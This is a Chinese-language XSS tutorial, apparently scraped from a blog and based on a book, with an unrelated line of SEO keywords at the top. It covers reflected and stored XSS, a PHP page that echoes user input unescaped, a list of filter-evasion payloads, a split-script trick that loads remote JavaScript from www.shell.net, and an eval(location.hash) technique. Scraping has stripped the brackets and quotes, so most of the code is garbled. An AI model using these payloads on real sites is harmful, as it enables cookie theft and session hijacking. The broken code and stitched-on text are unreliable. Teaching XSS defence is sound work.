网站建设烟台,适合学生做的网站,民宿平台搜索量上涨,php 网站开发 pdf目录
跨站脚本介绍
1. 什么是XSS跨站脚本
2. XSS跨站脚本实例
3. XSS漏洞的危害
XSS的分类
1. 反射型XSS
2. 持久性XSS
XSS构造
1. 利用 标记注射Html /Javascript
2. 利用HTML标签属性值执行XSS
3. 空格回车Tab
4. 对标签属性值转码
5. 产生自己的事件…目录
跨站脚本介绍
1. 什么是XSS跨站脚本
2. XSS跨站脚本实例
3. XSS漏洞的危害
XSS的分类
1. 反射型XSS
2. 持久性XSS
XSS构造
1. 利用 标记注射Html /Javascript
2. 利用HTML标签属性值执行XSS
3. 空格回车Tab
4. 对标签属性值转码
5. 产生自己的事件
6. 利用CSS跨站剖析
7. 扰乱过滤规则
8. 拆分跨站法
Shellcode的调用
1. 动态调用远程 JavaScript
2. 使用window.location.hash 跨站脚本介绍
1. 什么是XSS跨站脚本
攻击者利用网站漏洞把恶意的脚本代码通常包括HTML代码和客户端Javascript脚本注入到网页之中当其他用户浏览这些网页时就会执行其中的恶意代码对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。
2. XSS跨站脚本实例 html headtest/head body scriptalert(XSS)/script /body /html 这是一段很简单的HTML代码其中包括一个JavaScript语句块该语句块使用内置的alert()函数来打开一个消息框消息框中显示XSS信息。把以上代码保存为HTM或HTML文件然后用浏览器打开。 XSS输入也可能是HTML代码段如要使网页不停地刷新代码为 meta http-equivrefresh content0; html head title XSS测试 /title /head body form actionXSS.php methodPOST请输入名字brinput typetextnamename value/input input typesubmit value提交/input /body
/html 嵌入其他网站的链接代码为 iframe srchttp://www.test.com width0 height0/iframe html文件
html head title XSS测试 /title /head body form actionXSS.php methodPOST请输入名字brinput typetextnamename value/input input typesubmit value提交/input /body
/html
php文件
html head title 测试结果 /title /head body ?php echo $_REQUEST[name];? /body
/html
以上代码使用$_REQUEST[name]获取用户输入的name变量然后直接echo输出。打开测试页面随便输入一些信息例如Lisa然后单击【提交】按钮页面把我们刚刚输入完完整整地输出来了。
3. XSS漏洞的危害 1网络钓鱼包括盗取各类用户账号 2窃取用户cookies资料从而获取用户隐私信息或利用用户身份进一步对网站执行操作 3劫持用户浏览器会话从而执行任意操作例如进行非法转账、强制发表日志、发送电子邮件等 4强制弹出广告页面、刷流量等 5网页挂马 6进行恶意操作例如任意篡改页面信息、删除文章等 7进行大量的客户端攻击如DDoS攻击 8获取客户端信息例如用户的浏览历史、真实IP、开放端口等 9控制受害者机器向其他网站发起攻击 10结合其他漏洞如CSRF漏洞实施进一步作恶 11提升用户权限包括进一步渗透网站 12传播跨站脚本蠕虫等 …… XSS的分类
1. 反射型XSS
反射型XSS的利用一般是攻击者通过特定手法比如利用电子邮件诱使用户去访问一个包含恶意代码的URL当受害者单击这些专门设计的链接的时候恶意JavaScript代码会直接在受害者主机上的浏览器执行。它的特点是只在用户单击时触发而且只执行一次非持久化所以称为反射型跨站式脚本。
将恶意脚本附加到URL地址的参数中 http://www.test.com/search.php?keyscriptalert(XSS)/script 2. 持久性XSS
此类XSS不需要用户单击特定URL就能执行跨站脚本攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中只要受害者浏览包含此恶意JavaScript代码的页面就会执行恶意代码。
XSS构造
1. 利用 标记注射Html /Javascript scriptalert(XSS); /script 2. 利用HTML标签属性值执行XSS table backgroundjavascript:alert(/xss/)/table 3. 空格回车Tab img srcjavas cript:alert(/xss/) width100 4. 对标签属性值转码 img srcjavascrip#116#58alert(/XSS/); 5. 产生自己的事件 input typebutton valueclick me οnclickalert(click me) / 6. 利用CSS跨站剖析 div stylebackground-image:url(javascript:alert(XSS))style 7. 扰乱过滤规则 一个正常的XSS输入img srcjavascript:alert(0); 转换大小写后的XSSIMG SRCjavascript:alert(0); 大小写混淆的XSSiMg sRCjaVasCript:alert(0); 不用双引号而是使用单引号的XSSimg srcjavascript:alert(0); 不使用引号的XSSimg srcjavascript:alert(0); 8. 拆分跨站法 scriptzdocument./script scriptzzwrite(/script scriptzzscript/scriptscriptzz srcht/script scriptzztp://ww/scriptscriptzzw.shell/script scriptzz.net/1./script scriptzzjs/sc/script scriptzzript)/scriptscripteval(z)/script 上述代码的作用是引入一个字符串变量z并且将下行代码拆分开来document.write(script src//www.shell.net/1.js/script) Shellcode的调用
所谓的 Shellcode最初是溢出程序和蠕虫病毒的核心实际上是指利用一个漏洞时所执行的代码。在XSS跨站脚本中是指由JavaScript等脚本编写的XSS利用代码。
1. 动态调用远程 JavaScript
可以直接把Shellcode写到URL参数中如 http://www.bug.com/veiw.php?sortscriptalert(/xss/)/script 这里有个显而易见的缺点就是恶意代码败露在URL链接中容易使网站用户产生怀疑。此外Web应用程序不仅会对当中的恶意代码进行过滤也会限制URL的字符长度。所以方便起见Shellcode可写到其他服务器的文件上然后再用script标签进行动态加载。
2. 使用window.location.hash
如果仅仅是为了解决URL字符长度问题还可以使用另一种方式实现Shellcode的存储和调用——利用window.location.hash属性。
location 是 JavaScript 管理地址栏的内置对象比如 location.href 用来管理页面的 URL用location.hrefurl就可以直接将页面重定向URL而location.hash则可以用来获取或设置页面的标签值。比如 http://domain/#admin 的location.hash#admin利用这个属性值可以做一件非常有意义的事情。 http://www.bug.com/veiw.php?sortscripteval(location.hash.substr(1))/script#alert(xss) substr()可在字符串中抽取从 start 下标这里是 1 开始的指定数目的字符所以location.hash.substr(1) 的作用是抽取“#”符号后面的字符即alert(xss)而eval()函数用来计算某个字符串并执行其中的 JavaScript 代码。那么eval(location.hash.substr(1))的功能就是执行 Url的#之后的JavaScript代码通过这个技巧就能先把Shellcode写到地址参数中再执行。
参考文献
《XSS跨站脚本攻击剖析与防御》-邱永华-人民邮电出版社-2013-09